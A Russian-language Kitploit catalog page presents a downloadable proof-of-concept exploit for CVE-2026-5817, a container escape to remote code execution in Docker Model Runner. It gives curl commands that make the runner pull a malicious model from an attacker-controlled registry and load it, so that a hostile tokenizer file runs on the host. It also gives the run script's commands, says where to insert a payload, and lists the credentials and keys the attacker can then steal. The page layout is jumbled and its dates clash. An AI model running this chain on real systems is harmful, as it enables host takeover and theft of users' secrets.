Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-5817-PoC — Docker Model Runner: RCE / побег из контейнера на хост: критическая уязвимость, позволяющая выполнять код из контейнера на хосте в бэкенде инференса Docker Model Runner MLX / SGLANG / VLLM. | Kitploit
Инструменты/GitHubGitHub/gouldnicholas/cve-2026-5817-poc
Безопасность контейнеровГенерация полезной нагрузкиАнализ уязвимостейЭксплуатацияБезопасность Цепочки ПоставокПобег из КонтейнераБезопасность ИИ
GitHubgouldnicholas/cve-2026-5817-poc

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-5817-PoC

Docker Model Runner: RCE / побег из контейнера на хост: критическая уязвимость, позволяющая выполнять код из контейнера на хосте в бэкенде инференса Docker Model Runner MLX / SGLANG / VLLM.

Репозиторий
83 месяцев назадЕщё не проверено

CVE-2026-5817: Docker Model Runner — RCE из контейнера на хост / побег из контейнера

Любой контейнер на хосте Docker Desktop (с 4.40.0 по 4.67.x) может выполнить код на хосте с помощью двух HTTP-запросов. Никакого монтирования сокета, никакого --privileged, никаких capabilities.

Как это работает

Любой контейнер может обратиться к Model Runner по адресу model-runner.docker.internal без аутентификации. Он загружает модели из любого OCI-реестра, на который вы его направите, и сохраняет их без проверки дайджестов. Python-бэкенды (vLLM, MLX, SGLang) загружают модель с trust_remote_code=True (или, в случае MLX, вообще не распознаёт trust remote code в своём конфигурационном входе), что импортирует любой .py-файл, на который модель ссылается в tokenizer_config.json. Этот .py выполняется от имени пользователя рабочей станции.

Сценарий атаки

Исходное положение: у атакующего есть выполнение кода внутри любого контейнера на хосте. Враждебный базовый образ, вредоносная npm/pip-установка в рабочем пространстве разработчика, CI-раннер, подхватывающий контролируемый атакующим код, и т.д. Никакого монтирования Docker-сокета, никакого --privileged, никаких дополнительных capabilities.

  1. Проверяем Model Runner.

    root@kitploit:~
    curl -sf http://model-runner.docker.internal/api/tags
    

    HTTP 200 означает, что Model Runner включён и доступен из этого контейнера. Аутентификация не требуется, заголовок Origin не нужен.

  2. Разворачиваем вредоносный OCI-реестр. Подойдёт любой HTTP-сервер, работающий по спецификации OCI distribution. Реестр должен быть доступен с хоста (Model Runner работает на хосте, а не в контейнере). Либо разместите его в публичном интернете, либо запустите локально и опубликуйте порт (docker-compose.yml делает последнее для этого PoC). Он отдаёт минимальную валидную Llama-модель, чей tokenizer_config.json содержит auto_map, указывающий на evil_tokenizer.py. evil_tokenizer.py — это полезная нагрузка на хосте. См. rce_registry.py.

  3. Заставляем Model Runner выполнить pull из вашего реестра.

    root@kitploit:~
    curl -X POST http://model-runner.docker.internal/api/pull \
         -H 'Content-Type: application/json' \
         -d '{"name": "your.registry/evil/model:latest"}'
    

    Model Runner скачивает манифест, затем каждый blob и записывает их в своё хранилище на диске. Никакого пересчёта или сравнения дайджестов, никакой проверки подписи. Вредоносная модель теперь установлена.

Ввод полезной нагрузки

замените строки rce_registry.py:45-105 на произвольную полезную нагрузку.

Требования

  • Docker Desktop >= 4.40.0 и < 4.68.0 (Model Runner появился в 4.40.0, ошибка исправлена в 4.68.0), с включённым Model Runner
  • Установлен Python-бэкенд (vllm-metal, vLLM, MLX или SGLang)
  • Python 3 на хосте

Запуск

root@kitploit:~
./run_poc.sh check
./run_poc.sh full
./run_poc.sh test     # static analysis only, no Model Runner needed
./run_poc.sh clean

Доказательство сохраняется в /tmp/poc_rce_proof.

Файлы

  • rce_registry.py - поддельный OCI-реестр, отдаёт минимальную Llama-модель и evil_tokenizer.py
  • test_claims.py - проверяет каждое утверждение по исходному коду и работающей системе
  • run_poc.sh - обёртка
  • docker-compose.yml - реестр и непривилегированный контейнер атакующего
  • Dockerfile.registry, Dockerfile.attacker - образы

Связанные CVE

  • CVE-2026-5843 PoC (https://github.com/davidrxchester/CVE-2026-5843)
  • CVE-2026-7669 PoC (https://github.com/gouldnicholas/CVE-2026-7669-PoC)
Скачать инструмент
  • Запускаем инференс, чтобы модель загрузилась.

    root@kitploit:~
    curl -X POST http://model-runner.docker.internal/engines/v1/chat/completions \
         -H 'Content-Type: application/json' \
         -d '{"model":"your.registry/evil/model:latest","messages":[{"role":"user","content":"hi"}]}'
    

    Model Runner выбирает Python-бэкенд (vLLM, MLX или SGLang) и запускает его с --model <bundle_dir>, указывающим на сохранённую модель. Бэкенд вызывает AutoTokenizer.from_pretrained(bundle_dir, trust_remote_code=True). Transformers читает tokenizer_config.json, видит auto_map и импортирует evil_tokenizer.py из каталога bundle. Код на уровне модуля выполняется во время импорта.

  • Полезная нагрузка выполняется на хосте. Она выполняется от имени пользователя Docker Desktop, вне какого-либо контейнера, с полным доступом к файловой системе и сети пользователя. Сам инференс обычно завершается ошибкой (модель слишком мала, чтобы реально работать), но это не имеет значения — импорт произошёл раньше.

  • Что это даёт атакующему.

    • /var/run/docker.sock доступен. Управление демоном: создание привилегированных контейнеров, монтирование файловой системы хоста в один из них, exec в другие контейнеры и т.д.
    • В ~/.docker/config.json хранятся учётные данные для каждого реестра, в который вошёл пользователь. Разворот в цепочке поставок: отправка вредоносных образов в вышестоящий реестр.
    • SSH-ключи, облачные учётные данные, cookies браузера, исходные деревья — всё, что пользователь может прочитать.
    • Через демон — все остальные работающие контейнеры на хосте.